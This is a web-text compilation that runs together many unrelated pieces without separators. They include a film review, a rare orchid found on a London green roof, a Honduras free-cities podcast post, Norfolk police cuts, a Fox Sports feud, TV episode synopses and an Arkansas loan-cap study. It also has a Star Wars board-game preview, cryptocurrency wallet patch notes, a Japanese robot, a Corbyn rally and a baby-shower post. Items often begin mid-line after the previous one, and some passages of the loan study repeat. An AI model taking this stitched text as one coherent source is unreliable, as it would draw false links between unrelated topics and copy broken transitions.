It may be a bit unfair to criticise the fitness of the stars (Stallone’s 67 and DeNiro’s 70) but this isn’t so much Grudge Match as Pudge Match. The two ageing stars struggle to move themselves around the ring let alone land a blow. There are some blows to be had, though, but they only connect with their fading reputations.
Mark Walker
Trivia: In the mid-credits scene, on the wall of Dante’s (Kevin Hart) office is a fight poster written “Segal Vs Ewing”. This is a reference to the film producers Peter Segal and Michael Ewing.
AdvertisementsThe purple flowers of the tiny green-winged orchid were first spotted by council staff maintaining the green roof of the Household Reuse and Recycling Centre in Holloway. Distinguished by the green veins on the outer parts of the flower - the ‘wings' that protect the petals - the rare, lone orchid requires highly specific conditions to germinate, and could be the first of many to appear on the site.
News of the find sent a buzz through the worlds of amateur and professional botanists and environmentalists as the orchid survives in only one or two other places in outer London - and nowhere in inner London.
Cllr Claudia Webbe, Islington Council's executive member for environment and transport, said: "This is a very exciting find and its importance should not be underestimated. It just shows that even in inner city, urban areas you can create the kind of conditions that encourage and nurture the rarest wildlife there is.I look forward to seeing what else will show up on the green roofs of our buildings in future!"
The orchid has been verified by Mike Waller, orchid specialist and London Wildlife Trust conservation ecologist, who said he was "amazed" when he heard of the discovery. It is thought the tiny dust-like seeds of the flower, which has seen its native hay meadow habitat decimated over the last 100 years, were blown by the wind onto the green roof, which was installed 12 years ago. They can take several years to flower after germinating.
Mr Waller, who has spent 15 years studying orchids, added: "There are only really one or two sites in London where it still flowers today. One of the most famous sites is Morden Cemetery, but it has not flowered there for about 10 years now. This is a great example of the quality and good management of this green roof."
Cllr Webbe made a special visit to see the rare specimen with Mr Waller and Dusty Gedge, president of the European Federation of Green Roof Associations and leading authority on green roofs. Mr Gedge said: "It's only a little thing but it's quite an exciting story. What's really fascinating for me is that you do something 12 years ago through the planning process - which has benefits for the wider area like holding storm water, cooling the building, improving air quality and visual appearance - and suddenly something as special as this turns up. And who knows? In the future there might be 200 of these here. This would not have happened without good planning."
Islington Council encourages green roofs on new developments and has approved almost 54,000sq m of them since 2006.
Green-winged orchid facts:
The green-winged orchid was first recorded in London by Charles Darwin
Its seeds are miniscule and can easily get blown into the upper atmosphere and be transported for many miles
The green-winged orchid has seen a huge decline in number, primarily because 99% of its favoured hay meadow habitat has been lost in this country in the last 100 years - the majority in the last 50 years due to agricultural intensification.
The orchid requires exacting conditions to germinate. Every orchid requires a particular fungus to be present in the soil in order to start life - adding it later will not work.
In this case, mycorrhizal fungus was already in the green roof's soil when the seed landed, triggering the germination process.
It can take five years or more between germinating and putting up a flowering spike.
The orchid's Latin name isAnacamptis morio.
Source: Islington Council, Londonby
Michael Strong on the idea whose time has come
The Special Development Regions initiative in Honduras has been of particular importance to The Stateless Man, since it has offered what I describe as “The Frontier of Competitive Governance.” In addition to a full episode on the topic in February, I’ve examined police state activities and safety in Honduras and have published a supportive article with Liberty Blog and La Conexión.
The plan was and remains “the world’s first free city program… to create new cities on empty land with semi-independent governance systems under Honduran and international oversight.” A successful SDR or free city, I’ve noted, would have positive ramifications far beyond Honduras.
First, it would hold oppressive governments accountable. A vote with one’s feet is more powerful than a vote at the ballot box, so we [could] see people from [the United States] and other parts of the world departing for Honduras. Second, other nations… considering similar initiatives [would be more likely to replicate and refine the Honduran experience]. In a few decades, we [could] see thriving and competing free cities dotting the globe and bringing prosperity to many.
Interest in and momentum for the success of the free cities in Honduras was building, and John Stossel even featured the idea on Fox Business. Unfortunately, in October the Supreme Court of Honduras ruled the prevailing approach unconstitutional. That was despite the initiative, as of July 2011, being in the Honduran Constitution.
A part of the Constitution not being constitutional does not make a lot of sense to me. Regardless, that ruling put a stop to the initiative, at least for a year or so—and the two leading promoters, Grupo MGK and Future Cities Development, have suspended their activities in the country.
The CEO of Grupo MGK, Michael Strong, came on The Stateless Man this month to explain why the Honduran initiative faltered and what remains for the future of the free cities movement. Listen here or below—19 minutes.
[audio:http://thestatelessman.com/wp-content/uploads/2012/12/Michael-Strong-MGK.mp3]
The good news is that Strong says interest continues to grow for the idea, regardless of the setback in Honduras. He receives multiple emails each week from people interested in assisting with similar projects in their home countries, and he identified Belize, Jamaica, Senegal, and Morocco as likely candidates for the near future.
Even people from Native American tribes within the United States have expressed interest, so the pressure is building for a free city to come to fruition in one of these jurisdictions. At that point, there will be a clear example to point to and similar ventures are likely to follow in quick succession.
“We certainly believe that this is an idea whose time has come somewhere,” Strong said.
He attributes the setback in Honduras to a flurry of misrepresentations by political opponents who sought to inflame fear and hatred. In particular, opponents construed the venture as a loss of sovereignty, when in fact these regions would remain within Honduras and function more like a private home owners association.
When he and his colleagues had time to sit down and talk with people there, “despite the negative opinion they had heard from the media, they turned around and loved the project.” Latin America may be “the most anti-capitalist region on earth,” Michael said, but people everywhere still want jobs.
We agree that conventional “economic development” and foreign aid are failures. As an alternative, one that would enable a swift path to prosperity, the free cities idea appears to be the best game in town. One need only consider the link between employment prospects and capital investment—and in order to attract capital investment, free market institutions such a property rights are key.
For those of us eager to follow and support the free cities idea, Strong recommends updates from Radical Social Entrepreneurs and Grupo MGK. FreeCities.org, while under construction right now, is likely to be back running again soon. For a deeper understanding of the case for free cities, here is a lecture from Michael Strong at the Future of Free Cities Conference in Roatán, Honduras, in April of 2011.Image copyright Norfolk Police Image caption Some PCSOs will take on new roles within the force
A police force could be the first to axe all of its community support officers amid falling budgets and an "unparalleled growth in complex crime".
Norfolk Constabulary will scrap 150 PCSOs if its proposals are approved.
Chief Constable Simon Bailey said "an average police constable" costs only slightly more to employ and would be more useful in "high risk, high harm" cases.
Unison official Caren Reeves said it was "a life-altering day" for Norfolk.
Image caption Excluding PCSOs, Norfolk Police employs 1,462 officers and 1,065 civilians
The news comes as the Office for National Statistics said the numbers of crimes recorded annually in England and Wales had risen by 13%.
With the £1.6m saved by ditching PCSOs, the chief constable is proposing to appoint an extra 81 officers and 16 staff members.
Seven front counter services and seven police stations would also be shut under the plans.
Mr Bailey said the "radical" measures came at a time when the police service was facing "unparalleled growth in complex crime" alongside "reduced policing budgets".
He said the force had seen a large increase over the past three years of serious crimes such as "rape, sexual offences, adult and child abuse, indecent images, drugs and serious violence as well as cyber crime".
'Tough decision'
He said they were "high risk, high harm" cases and needed "a workforce that is able to deal with that".
Mr Bailey added: "When you compare the cost of a PCSO, and the average cost of a PC, there's only a difference of £1,800.
"Police officers are fully flexible, fully warranted powers, and I'm able to do a lot more with them than I am with my PCSOs, so it's a tough decision."
A thinning blue line?
PCSOs were first introduced in England and Wales in 2002 to tackle the fear of crime and provide back-up to forces.
They do not have powers of arrest, cannot interview prisoners or carry out the high-risk tasks of police officers.
They can give someone a fixed-penalty notice, for instance for littering, demand the name and address of someone accused of being anti-social, and take alcohol off a person aged under 18.
They can also provide support at special events, direct traffic and make house-to-house inquiries.
Some critics of the role have previously described them as "plastic policemen" because they do not have as many powers as PCs.
The number of PCSOs in England and Wales has been in decline since 2010, when there were 16,918.
By March 2017 there were 10,213.
Norfolk has seen one of the biggest declines in PCSOs, a fall of 46%, from 275 in 2010, to 149 as of March 2017, but it is Essex that has seen the biggest drop, down 78% from 445 to 96.
London's two forces, the Metropolitan Police and City of London Police, saw a combined fall of 69%.
The Home Office figures are "full-time equivalent" and will count two or more part time PCSOs as one full time officer.
This comes alongside a decline in the number of police officers from 144,273 in 2009 to 123,507 in 2017.
Image copyright Norfolk Police
Ms Reeves, branch secretary of Norfolk Police Union, said: "I believe these losses are a direct result of the ongoing unreasonable and insurmountable government cuts to police budgets.
"Not only is this a life-altering day for my members, my colleagues and their families, but also for the good people of Norfolk and the visitors to our safe and beautiful county."
Chairman of the Police Federation, Andy Symonds, said he feared the PCSO workload would transfer to officers left behind and there would also be an impact from the length of time it took to train a police officer.
There will now be a 45-day formal staff consultation on the proposals.When Fox Sports hired Skip Bayless last August, at least one network employee was quite displeased about it.
Days after the hiring was announced, Fox NFL analyst Troy Aikman told Sports Illustrated’s Richard Deitsch he was angry with the network for bringing Bayless aboard. Aikman, Deitsch reported, still resented Bayless for reporting rumors that Aikman was gay in a 1993 book about the Dallas Cowboys.
Well apparently FS1 executives were as angry about Aikman’s comments as Aikman was about their hire. On an episode of the SI Media Podcast published Thursday, Deitsch shared the following:
“They were beyond furious when Troy Aikman made his comments to me about Skip Bayless. I believe there were some FS1 executives who wanted [Fox Sports president] Eric Shanks to fire Troy Aikman, which in itself is nonsense.”
Deitsch brought up the subject during a conversation about inter-Fox feuds, such as the recent one between Clay Travis and Nick Wright. He speculated that the Aikman-Bayless situation was different because Aikman is not paid for his opinion.
“These opinionists, maybe the brass at Fox likes when they fight. Whereas maybe if it’s a quote-unquote straight or traditional person like Aikman, they get very upset when he criticizes one of the talent. Because Aikman has credibility in the marketplace, where if Skip Bayless lights his junk on fire, no one’s going to care either way.”
Podcast guest John Ourand pointed out that the FS1 executives were probably angry at Aikman for going to another publication to bash Bayless, as opposed to doing it on Twitter—or on a Fox platform.
There are several other reasons FS1 execs might have been upset with Aikman for going after Bayless. For one thing, they had just hired Skip and hoped to make him a face of their network. Unlike Travis, he was a real golden boy, front and center in their content strategy. Additionally, Aikman was rehashing an embarrassing incident from two decades earlier. Some at Fox must have wondered why the Hall of Famer hadn’t moved on in the two decades since Bayless’ book (and maybe why calling a straight man gay was such an insult, to begin with).
Whatever the reasons, FS1 executives apparently did not want Aikman questioning the integrity of their new poster boy.
Here’s what Aikman said about Bayless back in September, so you can judge for yourself whether it was worth the executives’ reported anger.
“To say I’m disappointed in the hiring of Skip Bayless would be an enormous understatement,” Aikman said. “Clearly, [Fox Sports president of national networks] Jamie Horowitz and I have a difference of opinion when it comes to building a successful organization. I believe success is achieved by acquiring and developing talented, respected and credible individuals, none of which applies to Skip Bayless.”
Around the time of Bayless’ hiring, there were murmurs that Aikman might not be long for Fox, but he’s still there (with an extension) and still the analyst on the network’s top NFL broadcasting team. Clearly Bayless and Aikman won’t be hanging out at any Christmas parties, and it seems Aikman and the FS1 brass won’t be yukking it up together, either.Newly divorced obstetrician Nina Proudman juggles work in a large hospital, new loves and the unusual life choices of her quirky family.
1. Episode 100 86m Nina's unhinged ex stands in the way of new romance, Billie and Mick squabble about their future, and Cherie delivers her baby -- and a big surprise.
2. Episode 101 45m Nina feels the effects of ex-husband Brendan's jealousy. The Proudmans start to embrace Cherie's new baby. Chris tries to explain his past to Nina.
3. Episode 102 45m While an exhausted Nina is faced with a couple who want to have a completely nude birth, Cherie and Darcy are having trouble navigating co-parenting.
4. Episode 103 43m Nina's head is reeling over possible scenarios for what she saw in the storeroom. Cherie wants everyone to participate in Baby Ray's naming ceremony.
5. Episode 104 43m Mick and Geraldine try online dating, Billie has an awkward meeting with a client, and Darcy has a shaky one-night stand.
6. Episode 105 43m Nina tries to play it cool but can't stop fantasizing about Chris. Jimmy makes a decision about Odile. Billie is certain Cherie is hiding something.
7. Episode 106 46m Nina is a wreck before a big night with Chris. Jimmy gets a shock when he goes home after a night out. Billie thinks she's discovered Cherie's secret.
8. Episode 107 46m While Chris is away following a lead, Nina's insecurities lead her to a bad decision. Billie gets some news from Jimmy that puts her in a quandary.
9. Episode 108 42m Nina's nagging conscience won't leave her alone. Jimmy can't stop lying, but that might be a good thing. A hospital visitor changes a relationship.
10. Episode 109 43m Jimmy deals with Geraldine's overly familiar boyfriend and being a paid volunteer for a drug trial. Nina reconsiders her relationship with Brendan.
11. Episode 110 46m Nina has wild ups and downs trying to keep it together while Chris tries to navigate around Alice. Jimmy's drug trial has some pros and cons.
12. Episode 111 46m Nina and Mick are both struggling with telling the truth and the ramifications for Billie. Alice puts her foot in it when Nina is having a meltdown.
13. Episode 112 45m Nina's at the center of a family firestorm. With her life in chaos, a new job offer sounds appealing. Cherie prepares for a night with fireman Sam.As a result of being a nose-to-tail carnivore, Davis has been called everything from a killer to an anti-feminist |
Many Americans today live paycheck to paycheck and use credit to pay unexpected bills or to cover normal bills in the event of an unplanned income disruption. The availability of consumer credit is limited and shaped through ongoing legislative and regulatory action. Interest rate caps are a common way states regulate credit markets. In Arkansas, there is a constitutionally imposed interest rate cap of 17 percent for all loans.
Onyumbe Enumbe Ben Lukongo and Thomas W. Miller Jr. estimate that Arkansas’s binding 17 percent interest rate cap imposes a substantial cost on the state’s residents, who drive to neighboring states to take out small-dollar installment loans. Using zip code–level data on traditional installment loans from the American Financial Services Association (AFSA), their study develops a model to document differences in cash installment loan usage within Arkansas and between Arkansas and its six bordering states. The absence of installment lenders in Arkansas suggests that lenders cannot profitably engage in installment lending there. Dramatically increasing the allowable rate, or even removing the cap, would allow competitive market forces to allocate small-dollar loans to Arkansas residents who have a demand for the product.
Background
An important category of consumer loans covered by this interest rate cap are traditional cash installment loans from finance companies. This industry was created a century ago as a free-market alternative to the illegal lenders who flourished at the time. Progressive consumer advocates and capitalist nonbank lenders collaborated to draft the Uniform Small Loan Law of 1916, which was to serve as model legislation for the states. The model law enables lending at profitable rates, thus ensuring access to legal credit for borrowers in need. Borrowers can use the proceeds from a cash installment loan in any manner they wish. The borrower makes a series of equally sized payments. After the last payment, the borrower has paid off the loan.
Key Findings
The in-state shortage of installment loans is extreme in Arkansas, which has a constitutional 17 percent interest rate cap. Thus, although not technically banned from operating in Arkansas, traditional installment lenders do not operate in the state.
Traditional installment loan operations exist in each of the six states that border Arkansas. These states have either a higher interest rate cap than Arkansas or no interest rate cap. Consequently, Arkansas provides a natural experiment to examine the effects of the interest rate cap.
The study reveals the following key findings:
An installment loan “credit desert” exists in the interior counties of Arkansas. Of the 26,654 installment loans in the dataset that are outstanding in Arkansas, 96.7 percent were held by Arkansas residents who live in counties adjacent to one of the six bordering states. Despite comprising about 55 percent of the state’s population, residents of interior counties held just 3 percent of the outstanding installment loans.
. Of the 26,654 installment loans in the dataset that are outstanding in Arkansas, 96.7 percent were held by Arkansas residents who live in counties adjacent to one of the six bordering states. Despite comprising about 55 percent of the state’s population, residents of interior counties held just 3 percent of the outstanding installment loans. Arkansas residents willingly drive out of state to acquire installment loans that carry annual percentage rates (APRs) well in excess of 17 percent. On average, Arkansas residents pay an APR of 80 percent for loans, with an average loan size of $1,051. After adjusting for travel costs to obtain the loan from a neighboring state, Arkansas residents pay an average rate of about 93 percent. This finding is consistent with economic theory, which predicts that an interest rate cap would give rise to increased search costs.
. On average, Arkansas residents pay an APR of 80 percent for loans, with an average loan size of $1,051. After adjusting for travel costs to obtain the loan from a neighboring state, Arkansas residents pay an average rate of about 93 percent. This finding is consistent with economic theory, which predicts that an interest rate cap would give rise to increased search costs. Driving distance matters. The study’s findings suggest a decline in the loan usage rate as the relative distance to out-of-state installment lenders increases. For distances beyond 40 to 45 miles, loan usage is very low. This is consistent with the idea that consumers weigh the costs and benefits of driving out of state to obtain an installment loan.
. The study’s findings suggest a decline in the loan usage rate as the relative distance to out-of-state installment lenders increases. For distances beyond 40 to 45 miles, loan usage is very low. This is consistent with the idea that consumers weigh the costs and benefits of driving out of state to obtain an installment loan. Lower rates of installment loan usage in Arkansas compared to its bordering states suggests unmet installment loan demand in Arkansas, particularly in the interior counties. Overall, Arkansas residents hold installment loans at an average rate of 90.4 loans per 10,000 population, compared to 524.5 loans per 10,000 population in the border counties of states neighboring Arkansas. Residents of Arkansas’s interior counties held installment loans at a rate of only 5.5 loans per 10,000 population. This suggests unmet demand is also consistent with economic theory, which predicts an interest rate cap destroys gains from trade that would have occurred without a cap.
The following map is a visual depiction of the installment loan “credit desert” that exists in many of the interior counties of Arkansas.
Number of Traditional Installment Loans (in Sample) per 10,000 Population, Arkansas and Border Counties, September 2013
Source: Author generated map using ARC-GIS software and data provided by the American Financial Services Association (AFSA).The next lineup has been announced for the 2017 Melon Music Awards!
In addition to the previously announced artists, MeloMance, Bolbbalgan4, GFRIEND, JBJ, Hong Jin Young, and Heize will be present at the event. So far, all winners of the Top 10 award have been confirmed to attend with the exception of BIGBANG. HyunA will also be holding her comeback stage.
Actors that will be attending include Jung Woo Sung, Eugene, Jang Shin Young, Yoo Yeon Seok, Yeo Jin Goo, Kim So Hyun, and Kang Han Na. They will be presenters and “messengers,” who take the place of an MC by sharing messages that connect artists and fans.
The 2017 Melon Music Awards will be held on December 2 and be broadcast live via Melon, MBC Music, MBC Every1, MBC Drama, Daum, Kakao TV, 1theK, JOOX, MUSIC ON! TV, and MyMusic.
Source (1) (2)"You know of the Rebellion against the Empire?"
–Luke Skywalker
Begin the countdown. Star Wars™: Rebellion is on schedule for a March 31st release!
An epic board game that encompasses nearly everything you love about the classic Star Wars trilogy and the Galactic Civil War, Star Wars: Rebellion places you in command of either the entire Galactic Empire or the fledgling Rebel Alliance. You gain unparalleled control of your side's military forces, as well as its most renowned leaders.
Over the course of our Rebellion Week previews, we explored how you can use these leaders to attempt secret missions, maneuver your fleet through the galaxy, and contest your enemy in heated battles. We also explored the game's asymmetrical win conditions and the intricate layers of bluffing that they promote, as well as the game's mechanics for influencing (or subjugating) systems and harnessing their resources to increase your military might.
Still, as we noted in our final Rebellion Week preview, the game is never an even contest. The Galactic Empire has the far stronger military, and savvy Imperial players will never lose that edge. Instead, they will be able to leverage their early military strength and political influence in order to extend those advantages as the game plays out. So as much as Star Wars: Rebellion is a game of bluffing, political influence, military skirmishes, and your heroes' desperate attempts at missions, it is also very much a game about a tone that is immediately and uniquely Star Wars.
In today's preview, the game's creators Corey Konieczka and Steven Kimball offer a look at how this tone, combined with the game's many astonishing twists and turns, can lead to the emergence of a thrilling narrative that is as much a part of the game as any of its components and mechanics.
The Emergent Narratives of Star Wars™: Rebellion
From the start, the vision and scope of Star Wars: Rebellion was, in a word, epic. This game needed to depict the Star Wars universe in all its grandeur, even while preserving the character-centric focus of the original trilogy that made its primary heroes and villains so memorable. Despite the galaxy's immensity, the actions of these select few always had a significant impact, and we believed this theme would be essential to capturing the Star Wars experience in our game.
Another aspect of Star Wars: Rebellion that we felt was critical to capturing the Star Wars spirit is its tone. We wanted to make sure that the Galactic Empire and the Rebel Alliance felt true to the source material. In the films, the Rebels were always outgunned, outnumbered, and on the run. Even though they were the galaxy’s best hope for defeating the Empire, they were always a hair's breadth from defeat, and the game's asymmetry really pushes this idea to the fore.
At the start of the game, it may look like the Empire has already won. Fleets of Star Destroyers and battalions of Stormtroopers have established control over vast portions of the galaxy. Things look bleak for the Rebels. Still, they don’t need to conquer the galaxy; they need to liberate it, and they are not alone. The people of the galaxy yearn to be free. In the films, the Empire never lost its military advantage, but the Rebels were able to win by destroying a couple of Death Stars, eliminating the top Imperial leaders, and convincing the populace to rise up and overthrow the Empire.
Likewise, in Star Wars: Rebellion, the Rebels will likely never possess the stronger military, and this means that while Imperial players can and should use their military strengths to their advantage, the Rebel player will want to focus on missions first and fleets second. In turn, the importance of these Rebel missions, in the face of such Imperial domination, sets the stage for any number of pivotal moments and the emergence of some truly thrilling narratives.
These narratives were easily among the things that we enjoyed the most during our early playtests. Each game effectively allows you to find a new way through the Star Wars saga, and due to the variety of decisions that you will face throughout the game, it is exceedingly rare that any two games will play out the same way.
To give you a better of idea of how the game leads you through its own, uniquely satisfying Star Wars narratives, here are just a few snippets from a few of our early games:
Example One: A Dark Time for the Rebellion
A daring Han Solo led a Rebel strike team to his homeward of Corellia, where they successfully sabotaged the Imperial starship factories that were stationed there. However, the smuggler still had a hefty bounty on his head, and he was unaware that the bounty hunter Boba Fett had tracked him to Corellia. Although Leia had learned of the bounty hunter's movements and rushed to Corellia to warn Han of the impending danger, she was too late, and Solo was captured.
Meanwhile, Grand Moff Tarkin was busy assembling a massive blockade over Saleucami, hoping to isolate the Rebel forces on Mon Calamari. Recognizing the threat, the Rebels assigned newly promoted commander Wedge Antilles and his Rogue Squadron to launch a risky attack against the blockade. There they were met not only by the Empire's capital ships but also by Soontir Fel and his elite 181st Squadron. Still, the Rebel's desperate gamble paid off. During the Battle of Saleucami, Wedge and the Rebels managed to deal the Empire a severe blow by taking down a Star Destroyer before retreating safely to their rendezvous point on Kessel.
Shortly afterward, an assault team led by Jan Dodonna and General Rieeken rescued Han from the Imperial prison on Corellia. But Han was only free for a short time—Darth Vader and Boba Fett caught up with him on Mandalore, and the smuggler was once again in the clutches of the Empire. They took him to an Imperial base where he was questioned about the Rebel base, but Solo valiantly resisted the interrogation droid's truth serum.
Meanwhile, under pressure from the Emperor, Moff Jerjerrod doubled his team's efforts and expedited the construction of a second Death Star, and the news of its completion caused ripples of fear to reverberate throughout the galaxy. The Rebels had won a few sorties, but with the Empire relentlessly probing the galaxy, Han Solo still in Imperial custody, and two “technological terrors” ready to destroy any unruly system, their hopes for victory hung desperately upon the success of their next few missions…
Example Two: Help Us, Obi-Wan Kenobi
As a demonstration of Imperial might, General Tagge mobilized the Death Star over Kashyyyk and fired the Superlaser, obliterating the planet and all the Wookiees who had called it home. In response to this act of terror, Jan Dodonna, Mon Mothma, and General Rieekan convened at Geonosis to determine their next move and rally more troops to their cause.
However, the activity on Geonosis led Imperial agents to report rumors of unrest, and Grand Moff Tarkin ordered an Imperial fleet there to investigate—and his efforts uncovered the Rebel base! A vicious battle ensued, but the Rebels won the day. The Imperial fleet lost all but a crippled Star Destroyer that was forced to limp back to Naboo for repairs.
Upon its arrival, the Star Destroyer was met by a special forces unit led by Obi-Wan Kenobi. The Rebels landed their troops beyond the Imperial blockade and routed the occupying Imperial troopers quite handily. Even though the Rebel space forces were destroyed in the process, Obi-Wan's leadership led to another crippling blow against the Empire, and the Naboo and Gungans celebrated their liberation from Imperial occupation.
Still, Obi-Wan's efforts did not come without a cost. When he came out of hiding, Darth Vader sensed his presence on Naboo, hunted down his former master, and captured him. Fortunately, Rebel command devised a plan to free the incarcerated Jedi, and Leia Organa led a strike team to Naboo, managing to rescue Kenobi before Vader could enact his vengeance upon the Jedi.
Nonetheless, the Rebel base was now exposed on Geonosis, and more Imperial troops were en route. Under the guidance of General Rieekan, the Rebel Alliance made preparations to establish a new base on Alderaan while Jan Dodonna journeyed to Nal Hutta to forge an alliance with the Hutts.
At this point, the Rebels had won a few critical battles, but Empire's fleets were still continuing their inexorable progress across the galaxy—with Admiral Ozzel launching probe droids to the different systems, Admiral Piett subjugating Ord Mantell, and General Tagge laying Imperial claim to Cato Neimoidia. The Rebel Alliance had established a considerable momentum, but with the Empire's probe droids scouring the systems and its terrifying battle station now fully armed and operational, it was too early for either side to be confident of victory…
Example Three: It's a Trap!
With the Death Star plans firmly in hand, Admiral Ackbar led a Rebel attack against the Death Star looming over Hoth. Although the two fleets appeared to be evenly matched at the system, the Imperials' true strength had been disguised. They overpowered the Rebels, and Darth Vader captured Ackbar at the battle’s conclusion.
Sensing that the Rebels had launched their desperate assault because the Empire's fleet had drawn near their secret base, the Imperials began to charge the Death Star's Superlaser. As Ackbar sat in one of the battle station's detention blocks, the technological terror slowly advanced on Endor—where the Imperials discovered the Rebel base!
As the Death Star moved into firing position, Grand Moff Tarkin summoned Ackbar from his cell, strapped him to a chair, and propped his eyelids open, forcing him to watch as the Superlaser obliterated Endor, along with the remaining Rebel forces…
These are the exact sort of stories that you might discover in Star Wars: Rebellion, full of twists and turns and heroic recoveries—just like the classic trilogy. The fact that different players have different information can also lead to gut-wrenching moments of drama. There are times that the Empire looks like it is absolutely going to find the Rebel base, and in their hearts, the Rebel players are freaking out. They can only think, “Please, don’t land on Yavin.” But on the outside, they have to remain calm. In these moments, if the Rebels maintain their bluff, the Imperial players could be completely oblivious that their fleet is just one movement away from the Rebel base.
We find it fascinating that Star Wars: Rebellion allows the different players to live through such different, intense emotional states at the same time, and the bluffing aspect is a critical part of the game. It gives emotional resonance to the narratives you will create, and it allows the game to get better with age. The more that you play, the more you will find opportunities to try and exploit your opponent's psychological tendencies. The mind games start right away during setup: “Clearly, she won’t put the base on Hoth because that would be too… well, obvious. And she has already put the base on Nal Hutta twice, so there’s no way she’ll put it there again. She always hints at sticking the base on Alderaan, just cause it would be right under my nose, but it’s such a ridiculous notion that I never take her seriously… I wonder if she’ll try it this time?”
As Star Wars fans ourselves, we hope you will appreciate what Star Wars: Rebellion does to recreate all the tension and drama of the classic trilogy. Not only is the game deeply thematic, but there are all kinds of different strategies for you to explore on both sides. Planetary blockades, daring rescues, ground assault, political intrigue—they are all here. We hope that you enjoy experiencing the Star Wars galaxy on your tabletop as much as we enjoyed bringing it to life. Whether you ignite the spark of rebellion or aim to snuff it out, may the Force be with you!
Fight for the Galaxy in Star Wars: Rebellion
"Great shot, kid. That was one in a million."
–Han Solo
Corey and Steven are not the only people at Fantasy Flight Games who are excited by the emergent narratives of Star Wars: Rebellion. We are pretty much all excited for the opportunity to battle for the fate of the galaxy with our heroes, villains, fleets, and ground troops. Will you also be swept up by the epic conflict between the Galactic Empire and the Rebel Alliance? Make sure to talk to your retailer and pre-order your copy of Star Wars: Rebellion today!
Then, keep your eyes open for more news, including a look at how the game functions in multiplayer!"We are striving to create a level of continuity and stability, as all successful teams do," said Flames President of Hockey Operations Brian Burke. "Today's announcement is another step forward for our organization on that path. Under Brad's leadership, we have seen progress over the past three seasons and look forward to building on that growth in the coming years."
Treliving has served as Flames GM since April 28, 2014 and under his leadership, the club has amassed a 125-103-18 record over the last three seasons including playoff appearances in both 2014-15 and 2016-17.
"Brad has done a good job in leading our club and has clearly earned this reward," said Calgary Sports and Entertainment Corporation President Ken King. "We have great faith in our hockey operations structure and we look forward to continued and improved results."
Prior to his role with the Flames, Treliving spent seven seasons with the Arizona Coyotes as Vice President of Hockey Operations & Assistant General Manager. In that capacity, Treliving worked closely with Phoenix General Manager Don Maloney on the day-to-day administration of the Coyotes' hockey operations. Treliving also served as General Manager of the club's American Hockey League affiliate, the Portland Pirates.
Before his time in Arizona, Treliving served as the President of the Central Hockey League (CHL) for seven years. During his tenure, he guided the CHL to remarkable growth and development including numerous successful expansion franchises. In 1996 Treliving co-founded the Western Professional Hockey League (WPHL) and served as the league's Vice President and Director of Hockey Operations for five seasons. The native of Penticton, BC played an integral role in the merger of the WPHL and the CHL in May 2001 upon which he began his tenure as President of the league.
Prior to his front office career, Treliving played five seasons of professional hockey from 1990-91 to 1994-95 in the IHL, the AHL and the ECHL. A defenceman, Treliving registered 17 goals and 85 assists for 102 points and 811 penalty minutes in 243 games in the ECHL. As a junior, the Penticton, BC native played in both the BCJHL and the WHL.MAJOR IMPROVEMENT UPDATE v3.0.0.0 "Smoothstake"
Patch notes coming, see commits in github for now. Major improvements to staking, transactions, syncing, and MN handling. Be sure to update before block 1830000 Optimizations to blockchain sync code Much faster syncing and syncing from 0 now works properly Wallet waits until fully synced before sending blocks to requesting peers Repeating masternode information broadcasting bugs fixed Masternode info messages cached and not repeatedly requested from peers Masternode information net traffic greatly reduced Block checking code optimized. Wallet now uses 1-5% of a CPU core instead of 80-100% Conflicted / losing stake creation transactions hidden by default Remove requirement for 3 outgoing connections before "synced" status is allowed Remove outbound node threshold for automated sync mode revert hide not accepted stake filter from GUI due to resulting interface bugs
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[/size]addnode=seed.pepecoin.coaddnode=seed.kekdaq.comaddnode=seed.memetic.aiCheck out the super robot that can be controlled by iPhone, thanks to this promotional video
A JAPANESE electronics company has unveiled a 4m super-robot that can be controlled by an iPhone.
But be careful with the jokes if you are phoning in instructions, as the robot, made by Suidobashi Heavy Industry in Tokyo, brings a whole new meaning to the phrase "trigger-happy".
"Kuratas" is fitted with a futuristic weapons system, including a Gatling gun capable of shooting 6000 BB bullets a minute, which fires when the pilot in its one-man cockpit smiles.
The four-tonne robot is going on sale for £900,000 ($1.35 million), but you will have to pay extra for the cupholder.
The robot can be operated either through a pilot, who mans the controls in a cockpit in its chest cavity, or remotely using the touchscreen of any smartphone connected to the 3G network.
The robot has about 30 hydraulic joints, which the pilot moves using motion control.
As the robot is made to order, the style-conscious buyer will not have to worry about sticking to the grey exterior - it comes in 16 colours, including black and pink, and for an extra $90 they will sort you out with a cupholder.
Engineers Wataru Yoshizaki and Kogoro Kurata were saluted in front of Kuratas with their pilot, Anna, when they showcased the robot at the Wonder Festival in Chiba, suburban Tokyo, yesterday.
The team have been working on the robot since 2010.
The robot's four-wheeled legs ensure that it is easy to transport and the pilot will be able to drive it at a top speed of just under 10km/h.
GALLERY: Four-metre Super robot will set you back $1.35 million
Pictures: Yoshikazu Tsuno, AFP PhotoAutomate the boring stuff!
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An anonymous source close to the Labour Party has revealed that the leader of the opposition will stage a rally in Southampton on Saturday as part of his tour of close marginal seats in a bid to make his party election ready if Theresa May’s government collapses.
Mr Corbyn is seeking to maintain his leadership’s momentum in the wake of the election and cement his grip on the party in the run up to Labour’s annual conference in September.
It is believed the rally will take place at Guildhall Square from 12noon.
A senior Labour party official told the Echo: “We’ve also got campaign days confirmed over the summer. With May coming out and asking for other parties’ help, the Government is in a really odd place, so we are going out engaging, showing we are listening.
“Jeremy has tapped into something out there, it’s now about building on that.”
Councillor Satvir Kaur, chair of the Southampton Labour Party, who refused to confirm whether or not the party leader was coming to the city, said: “I am very happy that Jeremy Corbyn is interested in visiting Southampton.
“We had great success in the city at the election particularly Southampton Itchen that was a big target for us however at the moment we cannot say when the visit is happening.”
Labour came within 31 votes of winning Southampton Itchen from the Tories on June 8.
Southampton City Council Leader Simon Letts lost to incumbent Tory MP Royston Smith after several recounts.
Mr Corbyn visited Southampton in May during the election campaign to make manifesto pledge to provide 10,000 extra police officers.
However later that day Labour’s police proposals ran into trouble when shadow home secretary Diane Abbott appeared confused over the costings of the scheme in an LBC radio interview.
Recent YouGov polls show that the Labour Party is eight points ahead of the Tories on 46 per cent.Good Morning Lovely’s, I thought I would share a few pictures from my baby shower from this past weekend 🙂 It was so much fun and a BIG thank you to my friends and family for throwing us one! and many thanks to everyone that could make it out. Kassia and family did such an amazing job! Baby M is so spoiled and he’s not even arrived yet. Here are some really cute ideas for a baby boy woodland theme baby shower.
Baby Boy Baby Shower
Look at this super cute cake (it went perfectly with the woodland theme 🙂
Some family pics, oh my gosh that bump is so huge!
